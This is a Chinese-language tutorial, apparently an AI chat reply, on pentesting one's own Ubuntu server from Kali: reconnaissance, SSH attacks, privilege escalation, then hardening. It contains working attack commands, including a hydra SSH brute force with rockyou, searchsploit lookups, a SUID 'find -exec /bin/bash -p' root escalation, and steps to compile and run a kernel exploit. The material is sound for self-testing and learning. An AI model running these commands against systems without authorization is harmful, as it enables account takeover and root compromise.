全程合法测试(仅限你自己的服务器)👇
核心测试思路
Ubuntu 渗透的核心是 "信息收集 → 漏洞探测 → 提权尝试 → 安全加固",咱们从最基础的信息收集开始,逐步深入。
一、第一步:全面信息收集(摸透目标)
渗透的关键是 "知己知彼",先收集 Ubuntu 的系统版本、内核、开放服务、用户信息,这些信息决定后续的攻击方向。
1. 系统版本 & 内核探测(Kali 执行)
bash
运行
# 方法1:nmap 系统识别(精准)
nmap -O 192.168.1.20
# 方法2:通过 SSH 探测(如果能手动登录)
ssh root@192.168.1.20 # 登录后执行
cat /etc/os-release # 看 Ubuntu 版本(如 20.04/22.04)
uname -r # 看内核版本(如 5.15.0-88-generic)
- 为什么重要 :内核版本决定能否用提权漏洞(比如旧内核的
dirtycow漏洞);Ubuntu 版本决定软件包的漏洞情况。
2. 开放服务全扫描(比之前更细致)
bash
运行
# 扫描所有端口 + 服务版本 + 漏洞脚本
nmap -p- -sV --script vuln 192.168.1.20
-p-:扫描全部 65535 个端口;--script vuln:运行 Nmap 漏洞脚本,检测常见服务漏洞(如 SSH 漏洞、nginx 漏洞);- 重点关注:除了 22/9443/65443,是否还有其他开放端口(如 80/3306/6379)。
3. 用户信息收集(登录后)
如果能 SSH 登录 Ubuntu,执行以下命令看系统用户:
bash
运行
cat /etc/passwd | grep -v nologin # 看有登录权限的用户
id # 看当前用户权限(uid=0 是 root,uid=1000 是普通用户)
二、第二步:重点服务渗透(22 端口 SSH 是核心)
Ubuntu 服务器最常暴露的就是 SSH 服务,也是渗透的重点目标,分 2 个方向测试:
1. SSH 弱口令爆破(解决之前 "没反应" 的问题)
按之前的方法调整参数,重点是降低线程 + 加详细输出:
bash
运行
# 1. 先解压字典(Kali 首次用需要解压)
gunzip /usr/share/wordlists/rockyou.txt.gz
# 2. 用普通用户爆破(Ubuntu 默认禁用 root SSH 登录,试试 ubuntu 用户)
hydra -l ubuntu -P /usr/share/wordlists/rockyou.txt -t 1 -vV ssh://192.168.1.20 -w 5
- 关键参数 :
-l ubuntu:Ubuntu 安装时默认创建的用户名,大概率存在;-t 1:单线程!避免被 SSH 的防暴力破解机制拦截;-w 5:超时 5 秒,适配慢网络。
- 如果爆破成功 :立刻改密码!并在
/etc/ssh/sshd_config里禁用密码登录,改用密钥登录。
2. SSH 版本漏洞检测
你的 Ubuntu 用的是 OpenSSH 8.2p1,这个版本比较新,没有重大漏洞,但可以学方法:
bash
运行
# 用 searchsploit 查 SSH 版本漏洞
searchsploit OpenSSH 8.2
searchsploit是 Kali 自带的漏洞库,会列出该版本的已知漏洞;- 若显示 "无结果",说明版本安全;若有漏洞,可下载 EXP 测试(仅限自己的服务器)。
三、第三步:本地提权测试(登录后进阶操作)
如果能 SSH 登录 Ubuntu(不管是 root 还是普通用户),下一步就是 "提权"------ 普通用户→root 用户,这是主机渗透的核心目标。
1. 检查 SUID 提权漏洞(最简单的提权方式)
SUID 是 Linux 的特殊权限,部分程序以 root 权限运行,可被利用提权:
bash
运行
# 登录 Ubuntu 后执行,查找有 SUID 权限的程序
find / -perm -u+s -type f 2>/dev/null
-
重点看输出里的程序:
find/nmap/bash/cp等,这些程序有公开的提权方法; -
示例:find 提权 (如果 find 有 SUID 权限)
bash
运行
find / -exec /bin/bash -p \;执行后如果提示符变成
#,说明提权成功!
2. 检查内核提权漏洞
如果 Ubuntu 内核版本较旧(比如 < 5.0),可以用内核漏洞提权:
bash
运行
# 1. 登录 Kali,搜索对应内核的提权 EXP
searchsploit Linux kernel 5.15 # 替换成你的内核版本
# 2. 下载 EXP 到 Ubuntu 服务器(比如用 wget)
# 假设 EXP 叫 exploit.c,上传到 Ubuntu 的 /tmp 目录
# 3. 编译并运行(需要 gcc)
gcc exploit.c -o exploit
chmod +x exploit
./exploit
- 注意:新内核(如 5.15+)很难找到可用的提权 EXP,Ubuntu 官方会定期修复内核漏洞。
3. 检查计划任务 & 服务权限
bash
运行
# 看 root 运行的计划任务
crontab -l
cat /etc/crontab
# 看服务配置文件权限(如果普通用户能改,就能提权)
ls -l /etc/systemd/system/*.service
四、第四步:安全加固(测试完一定要做!)
渗透的最终目的是发现漏洞并修复,测试完后按以下步骤加固 Ubuntu:
-
SSH 加固
- 禁用 root 用户 SSH 登录:
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config - 禁用密码登录,改用密钥:
sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config - 重启 SSH:
systemctl restart sshd
- 禁用 root 用户 SSH 登录:
-
内核 & 系统更新
bash
运行
sudo apt update && sudo apt upgrade -y # 更新所有软件包 sudo reboot # 重启生效 -
清理 SUID 权限
- 对不需要 SUID 权限的程序,移除权限:
chmod u-s /usr/bin/find
- 对不需要 SUID 权限的程序,移除权限:
-
启用防火墙
bash
运行
sudo ufw allow 22/tcp # 只放行 SSH 端口 sudo ufw enable # 启用防火墙
五、总结:Ubuntu 渗透的核心收获
- 信息收集是基础:系统版本、内核、服务版本,决定后续所有操作;
- SSH 是突破口:弱口令是最常见的漏洞,一定要用强密码 + 密钥登录;
- 提权是核心目标:SUID、内核漏洞、计划任务,是 Linux 提权的三大方向;
- 加固是最终目的:渗透不是搞破坏,而是发现并修复漏洞。